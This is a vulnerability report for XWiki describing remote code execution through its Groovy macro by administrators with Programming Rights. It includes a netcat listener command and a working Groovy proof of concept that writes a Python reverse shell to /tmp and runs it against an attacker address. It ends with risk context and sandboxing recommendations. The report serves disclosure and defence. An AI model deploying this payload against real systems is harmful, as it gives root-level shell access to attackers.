RCE via Arbitrary File Write in Groovy Macro

Impact
The application allows users with Programming Rights (Administrators) to execute arbitrary Groovy code without sufficient sandbox isolation. This capability allows writing executable files to the server's filesystem and executing them.

If an attacker compromises an Administrator account (e.g., via Stored XSS), they can leverage this lack of isolation to upload a reverse shell script to the server and execute it, achieving Root-level Remote Code Execution (RCE) and full system compromise.

Technical Analysis
Vulnerable Component: Groovy Macro (groovy) Root Cause: The Groovy scripting engine allows unrestricted access to java.io.File and process execution methods, enabling the creation and execution of external scripts (e.g., Python) on the underlying OS.

Proof of Concept
1. Log in as a user with Programming Rights (Admin).

2. Start a netcat listener on the attacker's machine: nc -lvp 4444

3. Create a wiki page with the following Groovy payload. This script writes a Python reverse shell to /tmp/revshell.py and executes it.
 
{{{{groovy}}import java.io.File// Configurationdef attackerIP = "172.19.0.1"def attackerPort = 4444def scriptPath = "/tmp/revshell.py"try { // 1. Define Python Reverse Shell Payloaddef payload = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('" + attackerIP + "'," + attackerPort + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn('/bin/sh')"// 2. Write Payload to Disk (Arbitrary File Write) File file = new File(scriptPath)
file.write(payload)
println "[+] Payload written to: " + file.getAbsolutePath() // 3. Execute Payload (RCE)def process = "python3 ${scriptPath}".execute()

println "[+] Process started. Check Netcat listener." println "Process PID: " + process.pid()

} catch (Exception e)

{ println "[-] Error: " + e.message e.printStackTrace() }

/groovy}}

4. Save and View the page.

The page confirms the script creation and execution.

7. The terminal confirms the reverse shell connection and root privileges (uid=0(root)).

Risk Assessment & Context

While granting "Programming Rights" allows extensive control over the XWiki instance, the ability to execute arbitrary system commands (e.g., invoking Python/Bash) and write executable files to the underlying filesystem represents a failure of the Defense in Depth principle.

1. Scope of Administration: An XWiki Administrator is responsible for managing content, users, and extensions within the application scope. This role does not inherently require, nor should it grant, full control over the hosting operating system.

1. Impact of Account Compromise: If an Administrator account is compromised (e.g., via the Stored XSS vulnerabilities identified in this audit), the lack of a restrictive Java Security Manager allows the attacker to immediately pivot from the application layer to the OS layer. This transforms an application-level breach into a full infrastructure compromise.

1. Lack of Isolation: Modern secure application design requires a sandbox boundary between the application's scripting engine and the host OS. Allowing java.io.File write access to webroots and ProcessBuilder execution violates this boundary.

Recommendation: Even if Programming Rights are trusted, the application should enforce a Security Policy that:

• Restricts file write access to specific data directories (preventing webroot writes).

• Blocks the execution of external processes (Runtime.exec, ProcessBuilder).

Attribution
Reported by: Łukasz Rybak GitHub: https://github.com/lukasz-rybak